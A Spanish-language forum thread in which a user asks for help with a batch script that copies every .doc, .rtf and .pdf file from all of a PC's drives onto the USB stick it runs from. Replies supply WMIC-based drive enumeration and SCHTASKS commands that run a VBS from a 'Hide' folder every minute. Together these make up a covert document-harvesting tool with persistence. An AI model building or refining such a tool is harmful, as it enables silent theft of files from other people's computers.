ayuda a simplificar bat

Iniciado por binario010101, 8 Octubre 2013, 19:31 PM

0 Miembros y 1 Visitante están viendo este tema.

binario010101

hola amigos tengo este bat


(FOR /R "A:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "B:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "C:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "D:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "E:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "M:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "N:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "O:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "P:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Q:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "R:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "S:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "T:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "U:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "V:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "X:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Y:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Z:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))


el cual copia todos los archivos de los discos del pc a la usb donde esta el bat

estoy usando todas las letras del abecedario para buscar todos los discos del pc y uso "%1\trabajos\" para que se copien a la usb donde esta el bat

alguien me puede ayudar a simplificar mi codigo


gracias por sus respuestas
binario010101@hotmail.com
no soy ing estudio sicologia

Eleкtro

Uf, te pasaste un poco con tanta repetición de código :P

porfavor lee mi respuesta aquí: http://foro.elhacker.net/scripting/bat_que_detecte_automaticamente_usb-t400296.0.html;msg1890277#msg1890277

Aquí tienes:
Código (dos) [Seleccionar]
@ECHO OFF & CHCP 1252 1>NUL

:: INFO:
::
:: # WMI Class Win32_LogicalDisk Help
::
:: Drivetype 2: Removable
:: Drivetype 3: Local hard disk

REM Filtro el output del comando WMIC.
For /F %%# in (
'wmic logicaldisk get caption^,drivetype ^| FINDSTR "2 3"'
) Do (
REM Saco las letras de los dispositivos disponibles.
Call Set "DRIVES=%%DRIVES%%%%#"
)

REM Elimino la letra de unidad desde la que se inició este Script Bat.
Call Set "DRIVES=%%DRIVES:%~d0=%%"

REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio",
REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR.
Set "DRIVES=%DRIVES::= %"

REM Por último, proceso cada letra de unidad.
For %%D in (%DRIVES%) Do (

Echo [+] Procesando unidad "%%D:\" | MORE

FOR /R "%%D:\" %%# IN (
"*.doc","*.d0cx","*.rtf","*.pdf"
)  DO  (
Echo "%%~#"
Copy /Y "%%~#" "%~d0\trabajos\" 1>NUL
)

)

Pause&Exit


Saludos








binario010101

#2
totalmente agradecido

como quito el mensaje "precione una tecla para continuar..."

y otra pregunta

a este codigo
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR F:\Hide\start.vbs


como le creo una variable para la letra de la usb, u otro mecanismo que ejecute el archivo vbs?

binario010101@hotmail.com
no soy ing estudio sicologia

Eleкtro

No entiendo muy bien la pregunta.

¿Quieres que la tarea programada ejecute el VBS, y este VBS se supone que le quieres asignar la letra de unidad desde donde tienes tu script?.

La letra del USB desde donde ejecutas el script la tienes almacenada en esta variable especial:
%~d0

Código (dos) [Seleccionar]
REM Ejemplo:
Set "DriveLetter=%~d0"
Echo %DriveLetter%

SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\Hide\start.vbs\""


Saludos








binario010101

el problema es que la ruta del archivo start.vbs es F:\Hide\start.vbs  pero cuando la usb tenga asiganda una letra diferente el run.cmd no lo encontrara

probando tu codigo

gracias
binario010101@hotmail.com
no soy ing estudio sicologia

Segadorfelix

Hola binario010101.
Supongo, que te refieres a esto:


For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))


SaluDos.

binario010101

gracias amigos pero ningun codigo me funciona

tengo este guardado como run.cm en formato ANSI pero no funciona

@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR E:\start.vbs


intente con este de EleKtro H@cker pero tampoco funciona


REM Ejemplo:
Set "DriveLetter=%~d0"
Echo %DriveLetter%

SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\start.vbs\""


probe con el de Segadorfelix pero tampoco funciona

For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe \" %%r\start.vbs\""))


alguna idea porque ninguno me funciona?
binario010101@hotmail.com
no soy ing estudio sicologia

binario010101

cuando ejecuto manualmente el archivo run.cmd con este codigo
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))

me aparece esto
error al cargar la secuencia de comando "C:\windows\system32\ G:\start.vbs (el nombre del archivo o  el nombre de  directorio o la sintaxis de la etiqueta del volumen no son correctos)
binario010101@hotmail.com
no soy ing estudio sicologia

Eleкtro

#8
En lugar de copiar los ejemplos de los demás sin entender su funcionamiento deberías procurar buscar lo que significa cada cosa y para que sirven.

El ejemplo de @Segadorfelix contiene dos errores de sintaxis, aquí estás dejando un espacio entre la variable del FOR y la comilla doble \" %%r,
pero además de eso, la variable de FOR contiene una letra, un solo caracter, ¿entonces no crees que aquí faltaría algo más?:
\" %%r\Hide\start.vbs\"

Hazle un Echo a la cadena para darte cuenta de lo que falta.

Saludos








binario010101

#9
el error del espacio luego del for no lo iba notado el segundo error si.

ese codigo me creo un bucle infinito alguien sabe como borrarlo ya intenete con

@echo off
SCHTASKS /tn copiar /End
pause
SCHTASKS /TR "copiar" /delete


y otras variantes pero no funciona
binario010101@hotmail.com
no soy ing estudio sicologia